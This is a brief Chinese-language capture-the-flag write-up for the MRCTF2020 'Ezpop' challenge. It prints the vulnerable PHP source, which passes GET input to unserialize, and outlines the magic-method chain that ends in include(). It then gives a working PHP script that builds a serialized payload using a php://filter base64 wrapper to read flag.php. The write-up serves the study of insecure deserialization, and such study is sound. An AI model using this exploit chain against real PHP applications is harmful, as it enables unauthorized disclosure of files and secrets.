EZPOP

来自：

[MRCTF2020]Ezpop

打开看源码：

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

一眼常规反序列化，这个wakeup过滤了个寂寞，直接构造pop链秒了：

Show::source => Show::__toString() => Test::__get() => Modifier::__invoke() :: Modifier::append()

唯一需要注意的点就是这里是用文件包含的形式给的flag.php，记得用php://filter/read=convert.base64-encode/resource=flag.php

 <?php
 
class Modifier {
    protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}

$m = new Modifier();
$s1 = new Show();
$s2 = new Show();
$t = new Test();

$s1->source = $s2;
$s2->str = $t;
$t->p = $m;

echo urlencode(serialize($s1));
?>